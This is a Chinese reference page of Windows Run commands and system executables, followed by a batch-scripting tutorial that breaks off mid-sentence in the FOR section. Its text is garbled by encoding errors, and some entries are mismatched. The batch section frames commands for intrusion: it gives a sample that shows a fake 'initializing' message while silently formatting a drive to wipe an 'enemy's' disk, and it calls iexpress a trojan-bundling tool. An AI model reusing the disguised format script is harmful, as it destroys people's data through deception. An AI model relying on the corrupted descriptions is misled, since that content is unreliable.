Windows命令
Windows命令 ? ? ? ? ? ? 輸入方法:點擊 開始》運行 ? ? ? ? ? ? 1.常用Windows命令 ? ? ? ? ? ? winver---------檢查windows版本 ? ? ? ? ? ? wmimgmt.msc----打開windows管理體系結(jié)構(gòu)(wmi) ? ? ? ? ? ? wupdmgr--------windows更新程序 ? ? ? ? ? ? wscript--------windows腳本宿主設置 ? ? ? ? ? ? write----------寫字板 ? ? ? ? ? ? winmsd---------系統(tǒng)信息 ? ? ? ? ? ? wiaacmgr-------掃描儀和照相機向?qū)?br /> ? ? ? ? ? ? winchat--------xp自帶局域網(wǎng)聊天 ? ? ? ? ? ? mem.exe--------顯示內(nèi)存使用情況 ? ? ? ? ? ? msconfig.exe---系統(tǒng)配置實用程序 ? ? ? ? ? ? mplayer2-------簡易widnows media player ? ? ? ? ? ? mspaint--------畫圖板 ? ? ? ? ? ? mstsc----------遠程桌面連接 ? ? ? ? ? ? mplayer2-------媒體播放機 ? ? ? ? ? ? magnify--------放大鏡實用程序 ? ? ? ? ? ? mmc------------打開控制臺 ? ? ? ? ? ? mobsync--------同步命令 ? ? ? ? ? ? dxdiag---------檢查directx信息 ? ? ? ? ? ? drwtsn32------ 系統(tǒng)醫(yī)生 ? ? ? ? ? ? devmgmt.msc--- 設備管理器 ? ? ? ? ? ? dfrg.msc-------磁盤碎片整理程序 ? ? ? ? ? ? diskmgmt.msc---磁盤管理實用程序 ? ? ? ? ? ? dcomcnfg-------打開系統(tǒng)組件服務 ? ? ? ? ? ? ddeshare-------打開dde共享設置 ? ? ? ? ? ? dvdplay--------dvd播放器 ? ? ? ? ? ? net stop messenger-----停止信使服務 ? ? ? ? ? ? net start messenger----開始信使服務 ? ? ? ? ? ? notepad--------打開記事本 ? ? ? ? ? ? nslookup-------網(wǎng)絡管理的工具向?qū)?br /> ? ? ? ? ? ? ntbackup-------系統(tǒng)備份和還原 ? ? ? ? ? ? narrator-------屏幕“講述人” ? ? ? ? ? ? ntmsmgr.msc----移動存儲管理器 ? ? ? ? ? ? ntmsoprq.msc---移動存儲管理員操作請求 ? ? ? ? ? ? netstat -an----(tc)命令檢查接口 ? ? ? ? ? ? syncapp--------創(chuàng)建一個公文包 ? ? ? ? ? ? sysedit--------系統(tǒng)配置編輯器 ? ? ? ? ? ? sigverif-------文件簽名驗證程序 ? ? ? ? ? ? sndrec32-------錄音機 ? ? ? ? ? ? shrpubw--------創(chuàng)建共享文件夾 ? ? ? ? ? ? secpol.msc-----本地安全策略 ? ? ? ? ? ? syskey---------系統(tǒng)加密,一旦加密就不能解開,保護windows xp系統(tǒng)的雙重密碼 ? ? ? ? ? ? services.msc---本地服務設置 ? ? ? ? ? ? sndvol32-------音量控制程序 ? ? ? ? ? ? sfc.exe--------系統(tǒng)文件檢查器 ? ? ? ? ? ? sfc /scannow---windows文件保護 ? ? ? ? ? ? tsshutdn-------60秒倒計時關(guān)機命令 ? ? ? ? ? ? tourstart------xp簡介(安裝完成后出現(xiàn)的漫游xp程序) ? ? ? ? ? ? taskmgr--------任務管理器 ? ? ? ? ? ? eventvwr-------事件查看器 ? ? ? ? ? ? eudcedit-------造字程序 ? ? ? ? ? ? explorer-------打開資源管理器 ? ? ? ? ? ? packager-------對象包裝程序 ? ? ? ? ? ? perfmon.msc----計算機性能監(jiān)測程序 ? ? ? ? ? ? progman--------程序管理器 ? ? ? ? ? ? regedit.exe----注冊表 ? ? ? ? ? ? rsop.msc-------組策略結(jié)果集 ? ? ? ? ? ? regedt32-------注冊表編輯器 ? ? ? ? ? ? rononce -p ----15秒關(guān)機 ? ? ? ? ? ? regsvr32 /u *.dll----停止dll文件運行 ? ? ? ? ? ? regsvr32 /u zipfldr.dll------取消zip支持 ? ? ? ? ? ? cmd.exe--------cmd命令提示符 ? ? ? ? ? ? chkdsk.exe-----chkdsk磁盤檢查 ? ? ? ? ? ? certmgr.msc----證書管理實用程序 ? ? ? ? ? ? calc-----------啟動計算器 ? ? ? ? ? ? charmap--------啟動字符映射表 ? ? ? ? ? ? cliconfg-------sql server 客戶端網(wǎng)絡實用程序 ? ? ? ? ? ? clipbrd--------剪貼板查看器 ? ? ? ? ? ? conf-----------啟動netmeeting ? ? ? ? ? ? compmgmt.msc---計算機管理 ? ? ? ? ? ? cleanmgr-------垃圾整理 ? ? ? ? ? ? ciadv.msc------索引服務程序 ? ? ? ? ? ? osk------------打開屏幕鍵盤 ? ? ? ? ? ? odbcad32-------odbc數(shù)據(jù)源管理器 ? ? ? ? ? ? oobe/msoobe /a----檢查xp是否激活 ? ? ? ? ? ? lusrmgr.msc----本機用戶和組 ? ? ? ? ? ? logoff---------注銷命令 ? ? ? ? ? ? iexpress-------木馬捆綁工具,系統(tǒng)自帶 ? ? ? ? ? ? nslookup-------ip地址偵測器 ? ? ? ? ? ? fsmgmt.msc-----共享文件夾管理器 ? ? ? ? ? ? utilman--------輔助工具管理器 ? ? ? ? ? ? gpedit.msc-----組策略 ? ? ? ? ? ? 2.其他更多Windows命令 ? ? ? ? ? ? accwiz.exe > Accessibility Wizard for walking you through ? ? ? ? ? ? setting up your machine for your mobility needs. 輔助工具向?qū)?br /> ? ? ? ? ? ? acsetups.exe > ACS setup DCOM server executable ? ? ? ? ? ? actmovie.exe > Direct Show setup tool 直接顯示安裝工具 ? ? ? ? ? ? append.exe > Allows programs to open data in specified ? ? ? ? ? ? directories as if they were in the current directory. ? ? ? ? ? ? 允許程序打開制定目錄中的數(shù)據(jù) ? ? ? ? ? ? arp.exe > NETWORK Display and modify IP - Hardware addresses ? ? ? ? ? ? 顯示和更改計算機的IP與硬件物理地址的對應列表 ? ? ? ? ? ? at.exe > AT is a scheduling utility also included with UNIX ? ? ? ? ? ? 計劃運行任務 ? ? ? ? ? ? atmadm.exe > Displays statistics for ATM call manager. ? ? ? ? ? ? ATM調(diào)用管理器統(tǒng)計 ? ? ? ? ? ? attrib.exe > Display and modify attributes for files and ? ? ? ? ? ? folders 顯示和更改文件和文件夾屬性 ? ? ? ? ? ? autochk.exe > Used to check and repair Windows File Systems ? ? ? ? ? ? 檢測修復文件系統(tǒng) ? ? ? ? ? ? autoconv.exe > Automates the file system conversion during ? ? ? ? ? ? reboots 在啟動過程中自動轉(zhuǎn)化系統(tǒng) ? ? ? ? ? ? autofmt.exe > Automates the file format process during reboots ? ? ? ? ? ? 在啟動過程中格式化進程 ? ? ? ? ? ? autolfn.exe > Used for formatting long file names 使用長文件名格式 ? ? ? ? ? ? bootok.exe > Boot acceptance application for registry ? ? ? ? ? ? bootvrfy.exe > Bootvrfy.exe, a program included in Windows ? ? ? ? ? ? 2000 that notifies the system that startup was successful. ? ? ? ? ? ? Bootvrfy.exe can be run on a local or remote computer. 通報啟動成功 ? ? ? ? ? ? cacls.exe > Displays or modifies access control lists (ACLs) ? ? ? ? ? ? of files. 顯示和編輯ACL ? ? ? ? ? ? calc.exe > Windows Calculators 計算器 ? ? ? ? ? ? cdplayer.exe > Windows CD Player CD播放器 ? ? ? ? ? ? change.exe > Change { User │ Port │ Logon } 與終端服務器相關(guān)的查詢 ? ? ? ? ? ? charmap.exe > Character Map 字符映射表 ? ? ? ? ? ? chglogon.exe > Same as using "Change Logon" 啟動或停用會話記錄 ? ? ? ? ? ? chgport.exe > Same as using "Change Port" 改變端口(終端服務) ? ? ? ? ? ? chgusr.exe > Same as using "Change User" 改變用戶(終端服務) ? ? ? ? ? ? chkdsk.exe > Check the hard disk for errors similar to ? ? ? ? ? ? Scandisk 3 Stages must specify a Drive Letter 磁盤檢測程序 ? ? ? ? ? ? chkntfs.exe > Same as using chkdsk but for NTFS NTFS磁盤檢測程序 ? ? ? ? ? ? cidaemon.exe > Component of Ci Filer Service 組成Ci文檔服務 ? ? ? ? ? ? cipher.exe > Displays or alters the encryption of directories ? ? ? ? ? ? [files] on NTFS partitions. 在NTFS上顯示或改變加密的文件或目錄 ? ? ? ? ? ? cisvc.exe > Content Index -- It's the content indexing service ? ? ? ? ? ? for I 索引內(nèi)容 ? ? ? ? ? ? ckcnv.exe > Cookie Convertor 變換Cookie ? ? ? ? ? ? cleanmgr.exe > Disk Cleanup, popular with Windows 98 磁盤清理 ? ? ? ? ? ? cliconfg.exe > SQL Server Client Network Utility SQL客戶網(wǎng)絡工具 ? ? ? ? ? ? clipbrd.exe > Clipboard viewer for Local will allow you to ? ? ? ? ? ? connect to other clipboards 剪貼簿查看器 ? ? ? ? ? ? clipsrv.exe > Start the clipboard Server 運行Clipboard服務 ? ? ? ? ? ? clspack.exe > CLSPACK used to create a file listing of system ? ? ? ? ? ? packages 建立系統(tǒng)文件列表清單 ? ? ? ? ? ? cluster.exe > Display a cluster in a domain 顯示域的集群 ? ? ? ? ? ? _cmd_.exe > Famous command prompt 沒什么好說的! ? ? ? ? ? ? cmdl32.exe > Connection Manager Auto-Download 自動下載連接管理 ? ? ? ? ? ? cmmgr32.exe > Connection Manager 連接管理器 ? ? ? ? ? ? cmmon32.exe > Connection Manager Monitor 連接管理器監(jiān)視 ? ? ? ? ? ? cmstp.exe > Connection Manager Profile Manager 連接管理器配置文件安裝程序 ? ? ? ? ? ? comclust.exe > about cluster server 集群 ? ? ? ? ? ? comp.exe > ComClust Add, Remove, or Join a cluster. ? ? ? ? ? ? 比較兩個文件和文件集的內(nèi)容* ? ? ? ? ? ? compact.exe > Displays or alters the compression of files on ? ? ? ? ? ? NTFS partitions. 顯示或改變NTFS分區(qū)上文件的壓縮狀態(tài) ? ? ? ? ? ? conime.exe > Console IME IME控制臺 ? ? ? ? ? ? control.exe > Starts the control panel 控制面板 ? ? ? ? ? ? convert.exe > Convert File System to NTFS 轉(zhuǎn)換文件系統(tǒng)到NTFS ? ? ? ? ? ? convlog.exe > Converts MS IIS log files 轉(zhuǎn)換IIS日志文件格式到NCSA格式 ? ? ? ? ? ? cprofile.exe > Copy profiles 轉(zhuǎn)換顯示模式 ? ? ? ? ? ? cscript.exe > MS Windows Scripts Host Version 5.1 較本宿主版本 ? ? ? ? ? ? csrss.exe > Client Server Runtime Process 客戶服務器Runtime進程 ? ? ? ? ? ? csvde.exe > Comma Separated Variable Import/Export Utility ? ? ? ? ? ? 日至格式轉(zhuǎn)換程序 ? ? ? ? ? ? dbgtrace.exe > 和Terminal Server相關(guān) ? ? ? ? ? ? dcomcnfg.exe > Display the current DCOM configuration. ? ? ? ? ? ? DCOM配置屬性 ? ? ? ? ? ? dcphelp.exe > ? ? ? ? ? ? ? dcpromo.exe > Promote a domain controller to ADSI AD安裝向?qū)?br /> ? ? ? ? ? ? ddeshare.exe > Display DDE shares on local or remote computer ? ? ? ? ? ? DDE共享 ? ? ? ? ? ? ddmprxy.exe > ? ? ? ? ? ? debug.exe > Runs Debug, a program testing and editing tool. ? ? ? ? ? ? 就是DEBUG啦! ? ? ? ? ? ? dfrgfat.exe > Defrag FAT file system FAT分區(qū)磁盤碎片整理程序 ? ? ? ? ? ? dfrgntfs.exe > Defrag NTFS file system NTFS分區(qū)磁盤碎片整理程序 ? ? ? ? ? ? dfs_cmd_.exe > configures a Dfs tree 配置一個DFS樹 ? ? ? ? ? ? dfsinit.exe > Distributed File System Initialization ? ? ? ? ? ? 分布式文件系統(tǒng)初始化 ? ? ? ? ? ? dfssvc.exe > Distributed File System Server 分布式文件系統(tǒng)服務器 ? ? ? ? ? ? diantz.exe > MS Cabinet Maker 制作CAB文件 ? ? ? ? ? ? diskperf.exe > Starts physical Disk Performance counters ? ? ? ? ? ? 磁盤性能計數(shù)器 ? ? ? ? ? ? dllhost.exe > dllhost is used on all versions of Windows 2000. ? ? ? ? ? ? dllhost is the hedost process for all COM+ applications. ? ? ? ? ? ? 所有COM+應用軟件的主進程 ? ? ? ? ? ? dllhst3g.exe > ? ? ? ? ? ? dmadmin.exe > Disk Manager Service 磁盤管理服務 ? ? ? ? ? ? dmremote.exe > Part of disk management 磁盤管理服務的一部分 ? ? ? ? ? ? dns.exe > DNS Applications DNS ? ? ? ? ? ? doskey.exe > recalls Windows command lines and creates macros ? ? ? ? ? ? 命令行創(chuàng)建宏 ? ? ? ? ? ? dosx.exe > DOS Extender DOS擴展 ? ? ? ? ? ? dplaysvr.exe > Direct Play Helper 直接運行幫助 ? ? ? ? ? ? drwatson.exe > Dr Watson for 2000 Fault Detector 華生醫(yī)生錯誤檢測 ? ? ? ? ? ? drwtsn32.exe > Dr Watson for 2000 viewer and configuration ? ? ? ? ? ? manager 華生醫(yī)生顯示和配置管理 ? ? ? ? ? ? dtcsetup.exe > Installs MDTC ? ? ? ? ? ? dvdplay.exe > Windows 2000 DVD player DVD播放 ? ? ? ? ? ? dxdiag.exe > Direct-X Diagnostics Direct-X診斷工具 ? ? ? ? ? ? edlin.exe > line-oriented text editor. 命令行的文本編輯器(歷史悠久啊!) ? ? ? ? ? ? esentutl.exe > MS Database Utility MS數(shù)據(jù)庫工具 ? ? ? ? ? ? eudcedit.exe > Private character editor Ture Type造字程序 ? ? ? ? ? ? eventvwr.exe > Windows 2000 Event Viewer 事件查看器 ? ? ? ? ? ? evnt_cmd_.exe > Event to trap translator; Configuration tool ? ? ? ? ? ? evntwin.exe > Event to trap translator setup ? ? ? ? ? ? exe2bin.exe > Converts EXE to binary format 轉(zhuǎn)換EXE文件到二進制 ? ? ? ? ? ? expand.exe > Expand Files that have been compressed 解壓縮 ? ? ? ? ? ? extrac32.exe > CAB File extraction utility 解CAB工具 ? ? ? ? ? ? fastopen.exe > Fastopen tracks the location of files on a hard ? ? ? ? ? ? disk and stores the information in memory for fast access. ? ? ? ? ? ? 快速訪問在內(nèi)存中的硬盤文件 ? ? ? ? ? ? faxcover.exe > Fax Cover page editor 傳真封面編輯 ? ? ? ? ? ? faxqueue.exe > Display Fax Queue 顯示傳真隊列 ? ? ? ? ? ? faxsend.exe > Fax Wizard for sending faxes 發(fā)送傳真向?qū)?br /> ? ? ? ? ? ? faxsvc.exe > Starts fax server 啟動傳真服務 ? ? ? ? ? ? fc.exe > Compares two files or sets of files and their ? ? ? ? ? ? differences 比較兩個文件的不同 ? ? ? ? ? ? find.exe > Searches for a text string in file or files ? ? ? ? ? ? 查找文件中的文本行 ? ? ? ? ? ? findstr.exe > Searches for strings in files 查找文件中的行 ? ? ? ? ? ? finger.exe > Fingers a user and displays statistics on that ? ? ? ? ? ? user Finger一個用戶并顯示出統(tǒng)計結(jié)果 ? ? ? ? ? ? fixmapi.exe > Fix mapi files 修復MAPI文件 ? ? ? ? ? ? flattemp.exe > Enable or disable temporally directories ? ? ? ? ? ? 允許或者禁用臨時文件目錄 ? ? ? ? ? ? fontview.exe > Display fonts in a font file 顯示字體文件中的字體 ? ? ? ? ? ? forcedos.exe > Forces a file to start in dos mode. ? ? ? ? ? ? 強制文件在DOS模式下運行 ? ? ? ? ? ? freecell.exe > Popular Windows Game 空當接龍 ? ? ? ? ? ? ftp.exe > File Transfer Protocol used to transfer files over a ? ? ? ? ? ? network connection 就是FTP了 ? ? ? ? ? ? gdi.exe > Graphic Device Interface 圖形界面驅(qū)動 ? ? ? ? ? ? grovel.exe > ? ? ? ? ? ? grpconv.exe > Program Manager Group Convertor 轉(zhuǎn)換程序管理員組 ? ? ? ? ? ? help.exe > displays help for Windows 2000 commands 顯示幫助 ? ? ? ? ? ? hostname.exe > Display hostname for machine. 顯示機器的Hostname ? ? ? ? ? ? ie4uinit.exe > IE5 User Install tool IE5用戶安裝工具 ? ? ? ? ? ? ieshwiz.exe > Customize folder wizard 自定義文件夾向?qū)?br /> ? ? ? ? ? ? iexpress.exe > Create and setup packages for install 穿件安裝包 ? ? ? ? ? ? iisreset.exe > Restart IIS Admin Service 重啟IIS服務 ? ? ? ? ? ? internat.exe > Keyboard Language Indicator Applet 鍵盤語言指示器 ? ? ? ? ? ? ipconfig.exe > Windows 2000 IP configuration. 察看IP配置 ? ? ? ? ? ? ipsecmon.exe > IP Security Monitor IP安全監(jiān)視器 ? ? ? ? ? ? ipxroute.exe > IPX Routing and Source Routing Control Program ? ? ? ? ? ? IPX路由和源路由控制程序 ? ? ? ? ? ? irftp.exe > Setup FTP for wireless communication 無線連接 ? ? ? ? ? ? ismserv.exe > Intersite messaging Service 安裝或者刪除Service ? ? ? ? ? ? Control Manager中的服務 ? ? ? ? ? ? jdbgmgr.exe > Microsoft debugger for java 4 Java4的調(diào)試器 ? ? ? ? ? ? jetconv.exe > Convert a Jet Engine Database 轉(zhuǎn)換Jet Engine數(shù)據(jù)庫 ? ? ? ? ? ? jetpack.exe > Compact Jet Database. 壓縮Jet數(shù)據(jù)庫 ? ? ? ? ? ? jview.exe > Command-line loader for Java Java的命令行裝載者 ? ? ? ? ? ? krnl386.exe > Core Component for Windows 2000 2000的核心組件 ? ? ? ? ? ? label.exe > Change label for drives 改變驅(qū)動器的卷標 ? ? ? ? ? ? lcwiz.exe > License Compliance Wizard for local or remote ? ? ? ? ? ? systems. 許可證符合向?qū)?br /> ? ? ? ? ? ? ldifde.exe > LDIF cmd line manager LDIF目錄交換命令行管理 ? ? ? ? ? ? licmgr.exe > Terminal Server License Manager 終端服務許可協(xié)議管理 ? ? ? ? ? ? lights.exe > display connection status lights 顯示連接狀況 ? ? ? ? ? ? llsmgr.exe > Windows 2000 License Manager 2000許可協(xié)議管理 ? ? ? ? ? ? llssrv.exe > Start the license Server 啟動許可協(xié)議服務器 ? ? ? ? ? ? lnkstub.exe > ? ? ? ? ? ? locator.exe > RPC Locator 遠程定位 ? ? ? ? ? ? lodctr.exe > Load perfmon counters 調(diào)用性能計數(shù) ? ? ? ? ? ? logoff.exe > Log current user off. 注銷用戶 ? ? ? ? ? ? lpq.exe > Displays status of a remote LPD queue ? ? ? ? ? ? 顯示遠端的LPD打印隊列的狀態(tài),顯示被送到基于Unix的服務器的打印任務 ? ? ? ? ? ? lpr.exe > Send a print job to a network printer. ? ? ? ? ? ? 重定向打印任務到網(wǎng)絡中的打印機。通常用于Unix客戶打印機將打印任務發(fā)送給連接了打印設備的NT的打印機服務器。 ? ? ? ? ? ? lsass.exe > LSA Executable and Server DLL 運行LSA和Server的DLL ? ? ? ? ? ? lserver.exe > Specifies the new DNS domain for the default ? ? ? ? ? ? server 指定默認Server新的DNS域 ? ? ? ? ? ? macfile.exe > Used for managing MACFILES 管理MACFILES ? ? ? ? ? ? magnify.exe > Used to magnify the current screen 放大鏡 ? ? ? ? ? ? makecab.exe > MS Cabinet Maker 制作CAB文件 ? ? ? ? ? ? mdm.exe > Machine Debug Manager 機器調(diào)試管理 ? ? ? ? ? ? mem.exe > Display current Memory stats 顯示內(nèi)存狀態(tài) ? ? ? ? ? ? migpwd.exe > Migrate passwords. 遷移密碼 ? ? ? ? ? ? mmc.exe > Microsoft Management Console 控制臺 ? ? ? ? ? ? mnmsrvc.exe > Netmeeting Remote Desktop Sharing ? ? ? ? ? ? NetMeeting遠程桌面共享 ? ? ? ? ? ? mobsync.exe > Manage Synchronization. 同步目錄管理器 ? ? ? ? ? ? 批處理命令 ? ? ? ? ? ? 1、Echo 命令 ? ? ? ? ? ? 打開回顯或關(guān)閉請求回顯功能,或顯示消息。如果沒有任何參數(shù),echo 命令將顯示當前回顯設置。 ? ? ? ? ? ? 語法 ? ? ? ? ? ? echo [{on│off}] [message] ? ? ? ? ? ? Sample:@echo off / echo hello world ? ? ? ? ? ? 在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ? ? ? ? ? ? ^)結(jié)合來實現(xiàn)輸入一些命令到特定格式的文件中.這將在以后的例子中體現(xiàn)出來。 ? ? ? ? ? ? 2.@ 命令 ? ? ? ? ? ? 表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命令啦。 ? ? ? ? ? ? Sample:@echo off ? ? ? ? ? ? @echo Now initializing the program,please wait a minite... ? ? ? ? ? ? @format X: /q/u/autoset (format ? ? ? ? ? ? 這個命令是不可以使用/y這個參數(shù)的,可喜的是微軟留了個autoset這個參數(shù)給我們,效果和/y是一樣的。) ? ? ? ? ? ? 3.Goto 命令 ? ? ? ? ? ? 指定跳轉(zhuǎn)到標簽,找到標簽后,程序?qū)⑻幚韽南乱恍虚_始的命令。 ? ? ? ? ? ? 語法:goto label (label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。) ? ? ? ? ? ? Sample: ? ? ? ? ? ? if {%1}=={} goto noparms ? ? ? ? ? ? if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會有詳細的解釋。) ? ? ? ? ? ? @Rem check parameters if null show usage ? ? ? ? ? ? :noparms ? ? ? ? ? ? echo Usage: monitor.bat ServerIP PortNumber ? ? ? ? ? ? goto end ? ? ? ? ? ? 標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據(jù)這個:來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。 ? ? ? ? ? ? 4.Rem 命令 ? ? ? ? ? ? 注釋命令,在C語言中相當與/*--------*/,它并不會被執(zhí)行,只是起一個注釋的作用,便于別人閱讀和你自己日后修改。 ? ? ? ? ? ? Rem Message ? ? ? ? ? ? Sample:@Rem Here is the description. ? ? ? ? ? ? 5.Pause 命令 ? ? ? ? ? ? 運行 Pause 命令時,將顯示下面的消息: ? ? ? ? ? ? Press any key to continue . . . ? ? ? ? ? ? Sample: ? ? ? ? ? ? @echo off ? ? ? ? ? ? :begin ? ? ? ? ? ? copy a:*.* d:\back ? ? ? ? ? ? echo Please put a new disk into driver A ? ? ? ? ? ? pause ? ? ? ? ? ? goto begin ? ? ? ? ? ? 在這個例子中,驅(qū)動器 A 中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅(qū)動器 A ? ? ? ? ? ? 時,pause 命令會使程序掛起,以便您更換磁盤,然后按任意鍵繼續(xù)處理。 ? ? ? ? ? ? 6.Call 命令 ? ? ? ? ? ? 從一個批處理程序調(diào)用另一個批處理程序,并且不終止父批處理程序。call ? ? ? ? ? ? 命令接受用作調(diào)用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。 ? ? ? ? ? ? 語法 ? ? ? ? ? ? call [[Drive:][Path] FileName [BatchParameters]] [:label ? ? ? ? ? ? [arguments]] ? ? ? ? ? ? 參數(shù) ? ? ? ? ? ? [Drive:}[Path] FileName ? ? ? ? ? ? 指定要調(diào)用的批處理程序的位置和名稱。filename 參數(shù)必須具有 .bat 或 .cmd 擴展名。 ? ? ? ? ? ? 7.start 命令 ? ? ? ? ? ? 調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來調(diào)用。 ? ? ? ? ? ? 入侵常用參數(shù): ? ? ? ? ? ? MIN 開始時窗口最小化 ? ? ? ? ? ? SEPARATE 在分開的空間內(nèi)開始 16 位 Windows 程序 ? ? ? ? ? ? HIGH 在 HIGH 優(yōu)先級類別開始應用程序 ? ? ? ? ? ? REALTIME 在 REALTIME 優(yōu)先級類別開始應用程序 ? ? ? ? ? ? WAIT 啟動應用程序并等候它結(jié)束 ? ? ? ? ? ? parameters 這些為傳送到命令/程序的參數(shù) ? ? ? ? ? ? 執(zhí)行的應用程序是 32-位 GUI 應用程序時,CMD.EXE ? ? ? ? ? ? 不等應用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會發(fā)生。 ? ? ? ? ? ? 8.choice 命令 ? ? ? ? ? ? choice ? ? ? ? ? ? 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數(shù),c:后應寫提示可輸入的字符,之間無空格。它的返回碼為1234…… ? ? ? ? ? ? 如: choice /c:dme defrag,mem,end ? ? ? ? ? ? 將顯示 ? ? ? ? ? ? defrag,mem,end[D,M,E]? ? ? ? ? ? ? Sample: ? ? ? ? ? ? test.bat的內(nèi)容如下: ? ? ? ? ? ? @echo off ? ? ? ? ? ? choice /c:dme defrag,mem,end ? ? ? ? ? ? if errorlevel 3 goto defrag (應先判斷數(shù)值最高的錯誤碼) ? ? ? ? ? ? if errorlevel 2 goto mem ? ? ? ? ? ? if errotlevel 1 goto end ? ? ? ? ? ? :defrag ? ? ? ? ? ? c:\dos\defrag ? ? ? ? ? ? goto end ? ? ? ? ? ? :mem ? ? ? ? ? ? mem ? ? ? ? ? ? goto end ? ? ? ? ? ? :end ? ? ? ? ? ? echo good bye ? ? ? ? ? ? 此文件運行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ? ? ? ? ? ? ,然后if語句將作出判斷,d表示執(zhí)行標號為defrag的程序段,m表示執(zhí)行標號為mem的程序段,e表示執(zhí)行標號為end的程序段,每個程序段最后都以goto ? ? ? ? ? ? end將程序跳到end標號處,然后程序?qū)@示good bye,文件結(jié)束。 ? ? ? ? ? ? 9.If 命令 ? ? ? ? ? ? if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式: ? ? ? ? ? ? 1、if "參數(shù)" == "字符串" 待執(zhí)行的命令 ? ? ? ? ? ? 參數(shù)如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號) ? ? ? ? ? ? 如if "%1"=="a" format a: ? ? ? ? ? ? if {%1}=={} goto noparms ? ? ? ? ? ? if {%2}=={} goto noparms ? ? ? ? ? ? 2、if exist 文件名 待執(zhí)行的命令 ? ? ? ? ? ? 如果有指定的文件,則條件成立,運行命令,否則運行下一句。 ? ? ? ? ? ? 如if exist config.sys edit config.sys ? ? ? ? ? ? 3、if errorlevel / if not errorlevel 數(shù)字 待執(zhí)行的命令 ? ? ? ? ? ? 如果返回碼等于指定的數(shù)字,則條件成立,運行命令,否則運行下一句。 ? ? ? ? ? ? 如if errorlevel 2 goto x2 ? ? ? ? ? ? DOS程序運行時都會返回一個數(shù)字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。 ? ? ? ? ? ? 10.for 命令 ? ? ? ? ? ? for 命令是一個比較復雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。 ? ? ? ? ? ? 在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable ? ? ? ? ? ? for {%variable│%%variable} in (set) do command [ ? ? ? ? ? ? CommandLineOptions] ? ? ? ? ? ? %variable 指定一個單一字母可替換的參數(shù)。 ? ? ? ? ? ? (set) 指定一個或一組文件。可以使用通配符。 ? ? ? ? ? ? command 指定對每個文件執(zhí)行的命令。 ? ? ? ? ? ? command-parameters 為特定命令指定參數(shù)或命令行開關(guān)。 ? ? ? ? ? ? 在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable ? ? ? ? ? ? 而不要用 %variable。變量名稱是區(qū)分大小寫的,所以 %i 不同于 %I ? ? ? ? ? ? 如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到 ? ? ? ? ? ? 支持: ? ? ? ? ? ? FOR /D %variable IN (set) DO command [command-parameters] ? ? ? ? ? ? 如果集中包含通配符,則指定與目錄名匹配,而不與文件 ? ? ? ? ? ? 名匹配。 ? ? ? ? ? ? FOR /R [[drive:]path] %variable IN (set) DO command [command- ? ? ? ? ? ? 檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的 ? ? ? ? ? ? FOR 語句。如果在 /R 后沒有指定目錄,則使用當前 ? ? ? ? ? ? 目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。 ? ? ? ? ? ? FOR /L %variable IN (start,step,end) DO command [command-para ? ? ? ? ? ? 該集表示以增量形式從開始到結(jié)束的一個數(shù)字序列。 ? ? ? ? ? ? 因此,(1,1,5) 將產(chǎn)生序列 1 2 3 4 5,(5,-1,1) 將產(chǎn)生 ? ? ? ? ? ? 序列 (5 4 3 2 1)。 ? ? ? ? ? ? FOR /F ["options"] %variable IN (file-set) DO command ? ? ? ? ? ? FOR /F ["options"] %variable IN ("string") DO command ? ? ? ? ? ? FOR /F ["options"] %variable IN ('command') DO command ? ? ? ? ? ? 或者,如果有 usebackq 選項: ? ? ? ? ? ? FOR /F ["options"] %variable IN (file-set) DO command ? ? ? ? ? ? FOR /F ["options"] %variable IN ("string") DO command ? ? ? ? ? ? FOR /F ["options"] %variable IN ('command') DO command ? ? ? ? ? ? filenameset 為一個或多個文件名。繼續(xù)到 filenameset 中的 ? ? ? ? ? ? 下一個文件之前,每份文件都已被打開、讀取并經(jīng)過處理。 ? ? ? ? ? ? 處理包括讀取文件,將其分成一行行的文字,然后將每行 ? ? ? ? ? ? 解析成零或更多的符號。然后用已找到的符號字符串變量值 ? ? ? ? ? ? 調(diào)用 For 循環(huán)。以默認方式,/F 通過每個文件的每一行中分開 ? ? ? ? ? ? 的第一個空白符號。跳過空白行。您可通過指定可選 "options" ? ? ? ? ? ? 參數(shù)替代默認解析操作。這個帶引號的字符串包括一個或多個 ? ? ? ? ? ? 指定不同解析選項的關(guān)鍵字。這些關(guān)鍵字為: ? ? ? ? ? ? eol=c - 指一個行注釋字符的結(jié)尾(就一個) ? ? ? ? ? ? skip=n - 指在文件開始時忽略的行數(shù)。 ? ? ? ? ? ? delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的 ? ? ? ? ? ? 默認分隔符集。 ? ? ? ? ? ? tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代 ? ? ? ? ? ? 的 for 本身。這會導致額外變量名稱的 ? ? ? ? ? ? 格式為一個范圍。通過 nth 符號指定 m ? ? ? ? ? ? 符號字符串中的最后一個字符星號, ? ? ? ? ? ? 那么額外的變量將在最后一個符號解析之 ? ? ? ? ? ? 分配并接受行的保留文本。 ? ? ? ? ? ? usebackq - 指定新語法已在下類情況中使用: ? ? ? ? ? ? 在作為命令執(zhí)行一個后引號的字符串并且 ? ? ? ? ? ? 引號字符為文字字符串命令并允許在 fi ? ? ? ? ? 